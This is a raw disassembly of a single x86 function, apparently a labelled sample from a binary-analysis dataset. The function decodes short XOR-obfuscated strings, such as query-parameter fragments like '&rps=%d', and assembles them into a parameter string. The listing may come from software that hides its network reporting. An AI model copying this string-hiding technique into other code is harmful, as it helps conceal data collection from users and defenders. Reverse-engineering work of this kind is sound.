Function at 0x414f76
Capabilities:
Encode data using xor

Disassembly:
push 0x358
mov eax, 0x4de957
call fcn.004c1130
mov esi, ecx
mov dword [ebp - 0x318], esi
mov ebx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x314], ebx
cmp dword [ebx + 0x14], 0x10
mov dword [ebx + 0x10], ecx
jb 0x414fa5
mov eax, dword [ebx]
jmp 0x414fa7
mov eax, ebx
mov byte [eax], cl
lea eax, [ebp - 0x16b]
push 0x103
push ecx
push eax
mov byte [ebp - 0x16c], cl
call fcn.004be330
add esp, 0xc
mov dword [ebp - 0x54], 0x425e1d05
xor edi, edi
mov dword [ebp - 0x58], 0x4f52501c
mov ecx, edi
mov al, byte [ebp + ecx - 0x58]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 8
jl 0x414fd6
call fcn.0040510e
push edi
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004054c4
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x16c]
mov ecx, ebx
push eax
call fcn.00401a20
mov dword [ebp - 0x5e], 0x425e1d05
mov ecx, edi
mov dword [ebp - 0x62], 0x5e594f5d
mov word [ebp - 0x64], 0x501c
mov al, byte [ebp + ecx - 0x64]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 0xa
jl 0x415033
push 0x104
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x64]
push dword [esi + 0x4d0]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004054c4
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x16c]
mov ecx, ebx
push eax
call fcn.0040531a
mov dword [ebp - 0x4c], 0x424f1d05
mov ecx, edi
mov dword [ebp - 0x50], 0x5e594d1c
mov al, byte [ebp + ecx - 0x50]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 8
jl 0x41509f
push 0x104
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.004be330
add esp, 0xc
call fcn.0040510e
add eax, 0x6c
cmp dword [eax + 0x14], 0x10
jb 0x4150d6
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004054c4
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x16c]
mov ecx, ebx
push eax
call fcn.0040531a
mov dword [ebp - 0x2c], 0x420b055d
mov ecx, edi
mov dword [ebp - 0x30], 0x52494e1c
mov al, byte [ebp + ecx - 0x30]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 8
jl 0x415116
lea eax, [ebp - 0x30]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x30]
mov ecx, ebx
push eax
call fcn.0040531a
push 0xffffffffffffffff
push edi
lea eax, [esi + 0x4d4]
mov ecx, ebx
push eax
call fcn.00405274
mov dword [ebp - 0x23], 0x425e1d05
mov ecx, edi
mov dword [ebp - 0x27], 0x5e1d5b4e
mov byte [ebp - 0x28], 0x1c
mov al, byte [ebp + ecx - 0x28]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 9
jl 0x415163
mov eax, dword [esi + 0x120c]
cmp eax, dword [esi + 0x1210]
jne 0x41528c
xor eax, eax
lea edi, [ebp - 0x290]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x290]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esi + 0x11f4]
push eax
call fcn.004124c9
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x28c]
sub eax, dword [ebp - 0x290]
and dword [ebp - 0x310], 0
sar eax, 2
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x415278
mov esi, dword [ebp - 0x310]
push esi
lea ecx, [ebp - 0x290]
call fcn.00412405
mov edi, dword [eax]
test edi, edi
je 0x415268
push 0x104
lea eax, [ebp - 0x273]
mov byte [ebp - 0x274], 0
push 0
push eax
call fcn.004be330
movzx eax, byte [edi + 0x180c]
add esp, 0xc
dec eax
je 0x41522d
dec eax
dec eax
je 0x415221
sub eax, 6
jne 0x41524c
movzx eax, byte [edi + 0x180d]
push eax
push 7
jmp 0x415239
movzx eax, byte [edi + 0x180d]
push eax
push 8
jmp 0x415239
movzx eax, byte [edi + 0x180d]
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x274]
push eax
call fcn.00416129
add esp, 0x10
lea eax, [ebp - 0x274]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x274]
mov ecx, ebx
push eax
call fcn.0040531a
inc esi
cmp esi, dword [ebp - 0x1c]
jb 0x4151cf
mov esi, dword [ebp - 0x318]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x290]
call fcn.0040bed3
jmp 0x41531f
mov ecx, edi
lea edi, [esi + 0x1238]
mov eax, dword [edi + 4]
sub eax, dword [edi]
sar eax, 4
mov dword [ebp - 0x310], ecx
test eax, eax
je 0x41531f
push ecx
mov ecx, edi
call fcn.00415ecb
push 0x104
mov esi, eax
mov byte [ebp - 0x274], 0
lea eax, [ebp - 0x273]
push 0
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x28]
push dword [esi + 4]
push dword [esi]
push eax
lea eax, [ebp - 0x274]
push eax
call fcn.00416129
lea eax, [ebp - 0x274]
push eax
call fcn.00401241
add esp, 0x14
mov ecx, ebx
push eax
lea eax, [ebp - 0x274]
push eax
call fcn.0040531a
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 0x310]
sub eax, dword [edi]
inc ecx
sar eax, 4
mov dword [ebp - 0x310], ecx
cmp ecx, eax
jb 0x4152a6
mov esi, dword [ebp - 0x318]
xor edi, edi
mov dword [ebp - 0x3d], 0x425e1d05
mov word [ebp - 0x3f], 0x115f
mov ecx, edi
mov byte [ebp - 0x40], 0x1c
mov al, byte [ebp + ecx - 0x40]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 7
jl 0x415334
push 0x104
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x40]
push dword [esi + 0x4b0]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004054c4
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x16c]
mov ecx, ebx
push eax
call fcn.0040531a
mov dword [ebp - 0x45], 0x425e1d05
mov ecx, edi
mov word [ebp - 0x47], 0x105f
mov byte [ebp - 0x48], 0x1c
mov al, byte [ebp + ecx - 0x48]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 7
jl 0x4153a3
push 0x104
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.004be330
xor eax, eax
add esp, 0xc
cmp dword [esi + 0x4a8], eax
sete al
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004054c4
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x16c]
mov ecx, ebx
push eax
call fcn.0040531a
mov dword [ebp - 0x35], 0x425e1d05
mov ecx, edi
mov word [ebp - 0x37], 0xf5f
mov byte [ebp - 0x38], 0x1c
mov al, byte [ebp + ecx - 0x38]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 7
jl 0x415418
push 0x104
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.004be330
xor eax, eax
add esp, 0xc
cmp dword [esi + 0x4ac], eax
sete al
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004054c4
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x16c]
mov ecx, ebx
push eax
call fcn.0040531a
xor eax, eax
lea edi, [ebp - 0x2bc]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x2bc]
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00426ac0
mov dword [ebp - 4], 1
mov eax, dword [esi + 0x120c]
cmp eax, dword [esi + 0x1210]
jne 0x41573a
xor eax, eax
lea edi, [ebp - 0x290]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x290]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esi + 0x11f4]
push eax
call fcn.004124c9
mov byte [ebp - 4], 2
xor esi, esi
mov eax, dword [ebp - 0x28c]
sub eax, dword [ebp - 0x290]
sar eax, 2
test eax, eax
je 0x415726
mov ebx, eax
xor eax, eax
lea edi, [ebp - 0x284]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x284]
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00426ac0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x290]
and dword [ebp - 0x318], 0
push esi
call fcn.00412405
lea edx, [ebp - 0x318]
mov ecx, dword [eax]
add ecx, 0x404
call fcn.00422790
mov edi, dword [ebp - 0x318]
test edi, edi
je 0x415708
push edi
lea ecx, [ebp - 0x364]
call fcn.00426cb0
mov byte [ebp - 4], 4
lea eax, [ebp - 0x364]
push eax
push str.name
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x364]
call fcn.00427060
push esi
lea ecx, [ebp - 0x290]
call fcn.00412405
lea ecx, [ebp - 0x354]
mov eax, dword [eax]
movzx eax, byte [eax + 0x180d]
push eax
call fcn.00426bf0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x354]
push eax
push str.check
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x354]
call fcn.00427060
push esi
lea ecx, [ebp - 0x290]
call fcn.00412405
lea ecx, [ebp - 0x344]
mov eax, dword [eax]
push dword [eax]
call fcn.00426bf0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x344]
push eax
push 0x4ff6dc
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x344]
call fcn.00427060
push esi
lea ecx, [ebp - 0x290]
call fcn.00412405
mov eax, dword [eax]
cmp byte [eax + 0x180c], 9
jne 0x415663
push 7
lea ecx, [ebp - 0x2cc]
call fcn.00426bf0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x284]
push eax
push 0x4ff970
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2cc]
jmp 0x4156ea
push esi
lea ecx, [ebp - 0x290]
call fcn.00412405
mov eax, dword [eax]
cmp byte [eax + 0x180c], 3
jne 0x4156af
push 8
lea ecx, [ebp - 0x2a4]
call fcn.00426bf0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x284]
push eax
push 0x4ff970
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2a4]
jmp 0x4156ea
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x32c]
call fcn.00426c30
mov byte [ebp - 4], 9
lea eax, [ebp - 0x32c]
push eax
push 0x4ff970
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x32c]
call fcn.00427060
lea eax, [ebp - 0x284]
push eax
lea ecx, [ebp - 0x2bc]
call fcn.00428020
push edi
call fcn.004bb670
pop ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x284]
call fcn.00427060
inc esi
cmp esi, ebx
jb 0x4154e8
mov ebx, dword [ebp - 0x314]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x290]
call fcn.0040bed3
jmp 0x415906
mov eax, dword [esi + 0x123c]
add esi, 0x1238
and dword [ebp - 0x1c], 0
sub eax, dword [esi]
sar eax, 4
test eax, eax
je 0x415906
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, esi
call fcn.00415ecb
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4158ef
xor eax, eax
lea edi, [ebp - 0x284]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x284]
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00426ac0
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x310]
mov edi, dword [ebp - 0x1c]
and dword [ebp - 0x310], 0
lea ecx, [edi + 0x404]
call fcn.00422790
cmp dword [ebp - 0x310], 0
je 0x4158e0
push dword [ebp - 0x310]
lea ecx, [ebp - 0x32c]
call fcn.00426cb0
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x32c]
push eax
push str.name
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x32c]
call fcn.00427060
push ebx
mov ecx, esi
call fcn.00415ecb
lea ecx, [ebp - 0x344]
push dword [eax + 4]
call fcn.00426bf0
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x344]
push eax
push str.check
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x344]
call fcn.00427060
push dword [edi]
lea ecx, [ebp - 0x354]
call fcn.00426bf0
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x354]
push eax
push 0x4ff6dc
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x354]
call fcn.00427060
push ebx
mov ecx, esi
call fcn.00415ecb
lea ecx, [ebp - 0x364]
push dword [eax]
call fcn.00426bf0
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x364]
push eax
push 0x4ff970
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x364]
call fcn.00427060
lea eax, [ebp - 0x284]
push eax
lea ecx, [ebp - 0x2bc]
call fcn.00428020
push dword [ebp - 0x310]
call fcn.004bb670
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x284]
call fcn.00427060
mov eax, dword [esi + 4]
inc ebx
sub eax, dword [esi]
sar eax, 4
cmp ebx, eax
jb 0x41575a
mov ebx, dword [ebp - 0x314]
lea ecx, [ebp - 0x30c]
call fcn.00424aa0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2ec]
push str.tgdt
call fcn.004018ec
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x30c]
call fcn.00424b30
mov byte [ebp - 4], 0x11
xor esi, esi
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00405274
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2ac]
push esi
push 1
call fcn.004019c4
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x2ec]
mov ecx, ebx
push eax
call fcn.00405274
push str.usin
lea ecx, [ebp - 0x2d4]
call fcn.004018ec
mov byte [ebp - 4], 0x12
xor eax, eax
lea edi, [ebp - 0x284]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x284]
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00426ac0
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x334]
push eax
call fcn.004075e6
mov ecx, eax
call fcn.00402f15
mov byte [ebp - 4], 0x14
mov edx, eax
push esi
lea ecx, [ebp - 0x2ac]
call fcn.00422540
pop ecx
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x334]
push esi
push 1
call fcn.00403864
cmp dword [ebp - 0x29c], esi
je 0x415a87
cmp dword [ebp - 0x298], 0x10
lea ecx, [ebp - 0x2ac]
lea edx, [ebp - 0x314]
mov dword [ebp - 0x314], esi
cmovae ecx, dword [ebp - 0x2ac]
call fcn.00422790
mov esi, dword [ebp - 0x314]
test esi, esi
je 0x415a85
mov dword [ebp - 0x19], 0x42535060
xor ecx, ecx
mov word [ebp - 0x1b], 0x5c5d
mov byte [ebp - 0x1c], 0x5e
mov al, byte [ebp + ecx - 0x1c]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 7
jl 0x415a30
push esi
lea ecx, [ebp - 0x32c]
call fcn.00426cb0
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x32c]
push eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x284]
call fcn.00427cf0
mov ecx, eax
call fcn.00427170
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x32c]
call fcn.00427060
push esi
call fcn.004bb670
pop ecx
xor esi, esi
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x334]
push eax
lea ecx, [ebp - 0x30c]
call fcn.00424b30
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2d4]
push 0xffffffffffffffff
push esi
push eax
call fcn.00405274
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x334]
push esi
push 1
call fcn.004019c4
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x2d4]
mov ecx, ebx
push eax
call fcn.00405274
mov byte [ebp - 4], 0x13
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0x2ac]
call fcn.004019c4
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x284]
call fcn.00427060
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2d4]
push ebx
push 1
call fcn.004019c4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2ec]
push ebx
push 1
call fcn.004019c4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30c]
call fcn.004063a0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2bc]
call fcn.00427060
call fcn.004c10df
ret 4